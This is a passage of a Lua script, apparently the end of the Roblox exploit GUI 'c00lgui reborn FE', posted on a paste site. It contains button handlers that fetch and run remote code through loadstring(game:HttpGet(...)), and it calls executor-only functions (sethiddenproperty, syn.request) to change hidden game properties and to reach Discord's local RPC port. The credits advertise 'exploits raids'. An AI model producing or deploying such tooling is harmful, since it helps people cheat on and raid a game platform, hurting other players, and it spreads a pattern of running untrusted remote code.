- if IsMinimized.Value then
- end
- local myEntry
- for i,key in ipairs(TeamFrames) do
- if nteam == key['MyTeam'] then
- myEntry = key
- key['Frame']:Destroy()
- table.remove(TeamFrames,i)
- end
- end
- if #TeamFrames==0 then
- debugprint('removeteamframe, remove neutral')
- if NeutralTeam then
- RemoveNeutralTeam()
- end
- end
- for i,key in ipairs(myEntry['MyPlayers']) do
- RemovePlayerFromTeam(myEntry,i)
- PlayerChanged(key, 'TeamColor')
- end
- RemoveMiddleBGFrame()
- BaseUpdate()
- AddingFrameLock = false
- end
- function TeamAdded(nteam)
- InsertTeamFrame(nteam)
- end
- function TeamRemoved(nteam)
- RemoveTeamFrame(nteam)
- end
- ---------------------------------
- --[[
- called when ANYTHING changes the state of the playerlist
- re-sorts everything,assures correct positions of all elements
- --]]
- function BaseUpdate()
- while BaseUpdateLock do debugprint('in baseupdate lock') wait(1/30) end
- BaseUpdateLock = true
- --print ('baseupdate')
- UpdateStatNames()
- if #TeamFrames == 0 and not NeutralTeam then
- PlayerListModeUpdate()
- else
- TeamListModeUpdate()
- end
- for i,key in ipairs(MiddleFrames) do
- if key.Parent ~= nil then
- key:TweenPosition(UDim2.new(.5,0,((#MiddleFrames - (i)) * key.Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
- end
- end
- if not IsMinimized.Value and #MiddleFrames>DefaultEntriesOnScreen then
- UpdateScrollPosition()
- end
- UpdateMinimize()
- UpdateScrollBarSize()
- UpdateScrollPosition()
- UpdateScrollBarVisibility()
- --debugprint('EndBaseUpdate')
- BaseUpdateLock = false
- end
- --[[
- code for attaching tab key to maximizing player list
- --]]
- --game.GuiService:AddKey("\t")
- local LastTabTime = time()
- Mouse.KeyDown:connect(
- function(key)
- if key == "\t" then
- debugprint('caught tab key')
- local modalCheck, isModal = pcall(function() return game.GuiService.IsModalDialog end)
- if modalCheck == false or (modalCheck and isModal == false) then
- if time() - LastTabTime > 0.4 then
- LastTabTime = time()
- if IsTabified.Value then
- if not IsMaximized.Value then
- ScreenGui:TweenPosition(UDim2.new(0, 0, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
- IsMaximized.Value = true
- else
- ScreenGui:TweenPosition(UDim2.new(NormalBounds.X.Scale, NormalBounds.X.Offset-10, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
- IsMaximized.Value = false
- IsMinimized.Value=true
- end
- else
- ToggleMaximize()
- end
- end
- end
- end
- end)
- function PlayersChildAdded(tplayer)
- if tplayer:IsA('Player') then
- Spawn(function() debugPlayerAdd(tplayer) end)
- else
- BlowThisPopsicleStand()
- end
- end
- function coreGuiChanged(coreGuiType, enabled)
- -- if coreGuiType == Enum.CoreGuiType.All or coreGuiType == Enum.CoreGuiType.PlayerList then
- -- MainFrame.Visible = enabled
- -- end
- end
- function TeamsChildAdded(nteam)
- if nteam:IsA('Team') then
- TeamAdded(nteam)
- else
- BlowThisPopsicleStand()
- end
- end
- function TeamsChildRemoved(nteam)
- if nteam:IsA('Team') then
- TeamRemoved(nteam)
- else
- BlowThisPopsicleStand()
- end
- end
- ----------------------------
- -- Hookups and initialization
- ----------------------------
- function debugPlayerAdd(p)
- InsertPlayerFrame(p)
- end
- pcall(function()
- coreGuiChanged(Enum.CoreGuiType.PlayerList, Game.StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList))
- Game.StarterGui.CoreGuiChangedSignal:connect(coreGuiChanged)
- end)
- while not game:GetService('Teams') do wait(1/30) debugprint('Waiting For Teams') end
- for _,i in pairs(game.Teams:GetTeams()) do TeamAdded(i) end
- for _,i in pairs(Players:GetPlayers()) do Spawn(function() debugPlayerAdd(i) end) end
- game.Teams.ChildAdded:connect(TeamsChildAdded)
- game.Teams.ChildRemoved:connect(TeamsChildRemoved)
- Players.ChildAdded:connect(PlayersChildAdded)
- InitReportAbuse()
- AreNamesExpanded.Value = true
- BaseUpdate()
- --UGGGLY,find a better way later
- --wait(2)
- IsPersonalServer= not not game.Workspace:FindFirstChild("PSVariable")
- ----------------------------
- -- Running Logic
- ----------------------------
- --debug stuffs, will only run for 'newplayerlistisbad'
- if LocalPlayer.Name == 'newplayerlistisbad' or LocalPlayer.Name == 'imtotallyadmin' then
- debugFrame.Parent = ScreenGui
- Spawn(function()
- while true do
- local str_players=''
- for _,i in pairs(game.Players:GetPlayers()) do
- str_players= str_players .." " .. i.Name
- end
- debugplayers.Text=str_players
- wait(.5)
- end
- end)
- end
- end)
- end
- coroutine.wrap(PLEGWK_fake_script)()
- local function ZGBJWN_fake_script() -- oldgraphics.LocalScript
- local script = Instance.new('LocalScript', oldgraphics)
- script.Parent.MouseButton1Click:Connect(function()
- local cc = Instance.new("ColorCorrectionEffect")
- local lighting = game:GetService("Lighting")
- --// hd killer
- local ihateu = {"DepthOfFieldEffect", "SunRaysEffect", "BloomEffect", "BlurEffect", "ColorCorrectionEffect", "Atmosphere"}
- for i, v in pairs(lighting:GetChildren()) do
- for index, value in ipairs(ihateu) do
- if v:IsA(value) then
- v:Destroy()
- end
- end
- end
- --// setup
- lighting.GlobalShadows = false
- sethiddenproperty(lighting, "Technology", Enum.Technology.Compatibility)
- end)
- end
- coroutine.wrap(ZGBJWN_fake_script)()
- local function XDVNK_fake_script() -- oldcons.LocalScript
- local script = Instance.new('LocalScript', oldcons)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/modules/old_console.lua"))();
- end)
- end
- coroutine.wrap(XDVNK_fake_script)()
- local function DMMYFZN_fake_script() -- oldcursor.LocalScript
- local script = Instance.new('LocalScript', oldcursor)
- script.Parent.MouseButton1Click:Connect(function()
- local mouse = game:GetService("Players").LocalPlayer:GetMouse()
- mouse.Icon = 'rbxasset://textures/ArrowFarCursor.png'
- end)
- end
- coroutine.wrap(DMMYFZN_fake_script)()
- local function NXFAQE_fake_script() -- no5.LocalScript
- local script = Instance.new('LocalScript', no5)
- script.Parent.MouseButton1Click:Connect(function()
- end)
- end
- coroutine.wrap(NXFAQE_fake_script)()
- local function TGZEQUZ_fake_script() -- no3.LocalScript
- local script = Instance.new('LocalScript', no3)
- script.Parent.MouseButton1Click:Connect(function()
- end)
- end
- coroutine.wrap(TGZEQUZ_fake_script)()
- local function HZUQ_fake_script() -- no2.LocalScript
- local script = Instance.new('LocalScript', no2)
- script.Parent.MouseButton1Click:Connect(function()
- end)
- end
- coroutine.wrap(HZUQ_fake_script)()
- local function XQUP_fake_script() -- no.LocalScript
- local script = Instance.new('LocalScript', no)
- script.Parent.MouseButton1Click:Connect(function()
- end)
- end
- coroutine.wrap(XQUP_fake_script)()
- local function NIYLZA_fake_script() -- no4.LocalScript
- local script = Instance.new('LocalScript', no4)
- script.Parent.MouseButton1Click:Connect(function()
- end)
- end
- coroutine.wrap(NIYLZA_fake_script)()
- local function KQEL_fake_script() -- Text.LocalScript
- local script = Instance.new('LocalScript', Text)
- script.Parent.Text = "Thank you for using c00lgui reborn FE v2.1.\n \nNeed support or changelogs? \n \nJoin us : discord.gg/cSH24nTFWV \n \nPrepare for 12/07/2023 exploits raids! \n \nSpecial thanks to : Mokny, USD317, NiceMan And everyone from team c00lkidd! \n \nShoutout to MasterMZ for showcasing the script!"
- end
- coroutine.wrap(KQEL_fake_script)()
- local function EJUCANX_fake_script() -- CloseOpen.LocalScript
- local script = Instance.new('LocalScript', CloseOpen)
- script.Parent.MouseButton1Click:Connect(function()
- if script.Parent.Text == "Close" then
- script.Parent.Parent.Frame.Visible = false
- script.Parent.Text = "Open" else
- script.Parent.Parent.Frame.Visible = true
- script.Parent.Text = "Close"
- end
- end)
- end
- coroutine.wrap(EJUCANX_fake_script)()
- local function LAUV_fake_script() -- c00lguiFE.LocalScript
- local script = Instance.new('LocalScript', c00lguiFE)
- local Function = Instance.new("BindableFunction")
- function promptDicordInvite(invCode)
- local httpService = game:GetService("HttpService")
- local httpRequest = (syn and syn.request) or (httpService and httpService.request) or (http_request)
- if not httpRequest then print("Exploit not supported. No HTTP found.") return end
- httpRequest({
- Url = "http://127.0.0.1:6463/rpc?v=1",
- Method = "POST",
- Headers = {
- ['Content-Type'] = 'application/json',
- Origin = 'https://discord.com'
- },
- Body = httpService:JSONEncode({
- cmd = 'INVITE_BROWSER',
- nonce = httpService:GenerateGUID(false),
- args = {code = invCode}
- })
- })
- end
- function Function.OnInvoke(response)
- if response == "Yes" then
- promptDicordInvite("cSH24nTFWV")
- end
- end
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "c00lgui reborn FE",
- Text = "Do you want to join the discord server?",
- Icon = "http://www.roblox.com/asset/?id=158118263",
- Duration = math.huge,
- Button1 = "Yes",
- Button2 = "No",
- Callback = Function
- })
- wait(2)
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Scripts credits",
- Text = "Credits goes to their owners :)",
- Icon = "http://www.roblox.com/asset/?id=158118263",
- Duration = math.huge,
- Button1 = "Ok",
- })
- end
- coroutine.wrap(LAUV_fake_script)()
Add Comment
Please, Sign In to add comment